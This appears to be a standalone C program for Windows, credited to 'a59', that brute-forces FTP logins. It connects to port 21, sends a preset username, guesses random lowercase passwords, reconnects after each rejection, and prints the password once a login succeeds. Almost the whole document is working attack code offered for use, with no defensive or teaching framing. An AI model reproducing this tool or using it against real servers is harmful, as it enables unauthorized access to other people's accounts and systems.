| 0. 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. 26. 27. 28. 29. 30. 31. 32. 33. 34. 35. 36. 37. 38. 39. 40. 41. 42. 43. 44. 45. 46. 47. 48. 49. 50. 51. 52. 53. 54. 55. 56. 57. 58. 59. 60. 61. 62. 63. 64. 65. 66. 67. 68. 69. 70. 71. 72. 73. 74. 75. 76. 77. 78. 79. 80. 81. 82. 83. 84. 85. 86. 87. 88. 89. 90. 91. 92. 93. 94. 95. 96. 97. 98. 99. 100. 101. 102. 103. 104. 105. 106. | #define _WIN32_WINNT 0x0403
#define WIN32_LEAN_AND_MEAN
#pragma optimize( "gsy", on )
#pragma comment( linker, "/ALIGN:4096" )
#pragma comment( linker, "/IGNORE:4108" )
#include <windows.h>
#include <winsock.h>
#include <stdlib.h>
#include <stdio.h>
#pragma comment( lib, "ws2_32" )
char szAcceptedChars[ ] = "abcdefghijklmnopqrstuvwxyz"; // characters in the password
char szFtpIP[ ] = "127.0.0.1"; // IP only no dns
char szUserName[ ] = "username";
int iLength = 6; // length of pass
char szRecvBuff[ 150 ];
char szSendBuff[ 64 ];
char szCurPass[ 12 ];
SOCKET ftpsock;
SOCKADDR_IN sin;
void RandomizePass( char* szString );
int DoForce( );
int AnalyzeLine( char* szCommand );
void RandomizePass( char* szString )
{
for( int i = 0; i < iLength; i++ )
szString[ i ] = szAcceptedChars[ rand( ) % strlen( szAcceptedChars ) ];
szString[ iLength ] = 0;
};
int DoForce( )
{
ftpsock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
if( connect( ftpsock, (SOCKADDR *)&sin, sizeof( sin ) ) == SOCKET_ERROR )
return 0;
while( true )
{
recv( ftpsock, szRecvBuff, sizeof( szRecvBuff ), 0 );
AnalyzeLine( szRecvBuff );
}
return 1;
};
int AnalyzeLine( char* szCommand )
{
strtok( szCommand, " " );
switch( atoi( szCommand ) )
{
case 331: // Password required
RandomizePass( szCurPass );
wsprintf( szSendBuff, "PASS %s\r\n", szCurPass );
send( ftpsock, szSendBuff, strlen( szSendBuff ), 0 );
break;
case 530: // Incorrect password
closesocket( ftpsock ); // you cant stay connected to FTP and keep trying passes
DoForce( );
break;
case 220: // User required
wsprintf( szSendBuff, "USER %s\r\n", szUserName );
send( ftpsock, szSendBuff, strlen( szSendBuff ), 0 );
break;
case 230: // User logged in
printf( "Password for %s:21 - %s\r\n", szFtpIP, szCurPass );
getchar( );
ExitProcess( 0 );
}
return 0;
};
int main( )
{
SetConsoleTitle( "FTP Brute Forcer by a59" );
SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), FOREGROUND_BLUE | FOREGROUND_INTENSITY );
printf( "\t\t\tFTP Brute Forcer Coded by a59\n\n\n" );
printf( "Press any key to start brute forcing...\n" );
getchar( );
WSADATA wsa;
WSAStartup( MAKEWORD( 2, 2 ), &wsa );
// set up sockaddr_in vars here so we have less to do @ DoForce( ), and it will be faster
sin.sin_family = AF_INET;
sin.sin_port = htons( 21 );
sin.sin_addr.s_addr = inet_addr( szFtpIP );
srand( GetTickCount( ) );
printf( "Connecting to server and starting brute forcer...\n" );
if( DoForce( ) == 0 )
printf( "Error connecting to server\n" );
return 0;
}; |